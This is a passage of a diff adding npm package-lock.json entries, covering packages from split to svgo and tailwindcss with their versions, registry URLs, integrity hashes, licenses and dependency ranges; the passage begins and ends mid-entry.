"MIT", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/split": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/split/-/split-0.3.3.tgz", + "integrity": "sha512-wD2AeVmxXRBoX44wAycgjVpMhvbwdI2aZjCkvfNcH1YqHQvJVa1duWc73OyVGJUc05fhFaTZeQ/PYsrmyH0JVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "through": "2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "extend-shallow": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "license": "BSD-3-Clause" + }, + "node_modules/sshpk": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz", + "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "license": "MIT" + }, + "node_modules/stack-utils": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz", + "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==", + "license": "MIT", + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "license": "MIT" + }, + "node_modules/start-server-and-test": { + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/start-server-and-test/-/start-server-and-test-1.14.0.tgz", + "integrity": "sha512-on5ELuxO2K0t8EmNj9MtVlFqwBMxfWOhu4U7uZD1xccVpFlOQKR93CSe0u98iQzfNxRyaNTb/CdadbNllplTsw==", + "dev": true, + "license": "MIT", + "dependencies": { + "bluebird": "3.7.2", + "check-more-types": "2.24.0", + "debug": "4.3.2", + "execa": "5.1.1", + "lazy-ass": "1.6.0", + "ps-tree": "1.2.0", + "wait-on": "6.0.0" + }, + "bin": { + "server-test": "src/bin/start.js", + "start-server-and-test": "src/bin/start.js", + "start-test": "src/bin/start.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/start-server-and-test/node_modules/debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/start-server-and-test/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/start-server-and-test/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/start-server-and-test/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/state-local": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", + "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", + "license": "MIT" + }, + "node_modules/static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "deprecated": "Please upgrade to v0.1.7", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "deprecated": "Please upgrade to v0.1.5", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stream-combiner": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.0.4.tgz", + "integrity": "sha512-rT00SPnTVyRsaSz5zgSPma/aHSOic5U1prhYdRy5HS2kTZviFpmDgzilbtsJsxiroqACmayynDN/9VzIbX5DOw==", + "dev": true, + "license": "MIT", + "dependencies": { + "duplexer": "~0.1.1" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "license": "MIT", + "engines": { + "node": ">=0.6.19" + } + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/string-natural-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz", + "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==", + "license": "MIT" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz", + "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.1", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.9.tgz", + "integrity": "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.8.tgz", + "integrity": "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "license": "BSD-2-Clause", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz", + "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-loader": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", + "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/styled-components": { + "version": "5.3.5", + "resolved": "https://registry.npmjs.org/styled-components/-/styled-components-5.3.5.tgz", + "integrity": "sha512-ndETJ9RKaaL6q41B69WudeqLzOpY1A/ET/glXkNZ2T7dPjPqpPCXXQjDFYZWwNnE5co0wX+gTCqx9mfxTmSIPg==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.0.0", + "@babel/traverse": "^7.4.5", + "@emotion/is-prop-valid": "^1.1.0", + "@emotion/stylis": "^0.8.4", + "@emotion/unitless": "^0.7.4", + "babel-plugin-styled-components": ">= 1.12.0", + "css-to-react-native": "^3.0.0", + "hoist-non-react-statics": "^3.0.0", + "shallowequal": "^1.1.0", + "supports-color": "^5.5.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/styled-components" + }, + "peerDependencies": { + "react": ">= 16.8.0", + "react-dom": ">= 16.8.0", + "react-is": ">= 16.8.0" + } + }, + "node_modules/stylehacks": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", + "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-hyperlinks": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.2.0.tgz", + "integrity": "sha512-6sXEzV5+I5j8Bmq9/vUphGRM/RJNT9SCURJLjwfOg51heRtguGWDzcaBlgAzKhQa0EVNpPEKzQuBwZ8S8WaCeQ==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==", + "license": "MIT" + }, + "node_modules/svgo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz", + "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "license": "MIT", + "dependencies": { + "chalk": "^2.4.1", + "coa": "^2.0.2", + "css-select": "^2.0.0", + "css-select-base-adapter": "^0.1.1", + "css-tree": "1.0.0-alpha.37", + "csso": "^4.0.2", + "js-yaml": "^3.13.1", + "mkdirp": "~0.5.1", + "object.values": "^1.1.0", + "sax": "~1.2.4", + "stable": "^0.1.8", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/svgo/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/svgo/node_modules/css-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz", + "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^3.2.1", + "domutils": "^1.7.0", + "nth-check": "^1.0.2" + } + }, + "node_modules/svgo/node_modules/css-what": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz", + "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==", + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "license": "BSD-2-Clause" + }, + "node_modules/svgo/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "license": "MIT", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/svgo/node_modules/nth-check": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "~1.0.0" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "license": "MIT" + }, + "node_modules/tailwindcss": { + "version": "3.1.6", + "resolved": 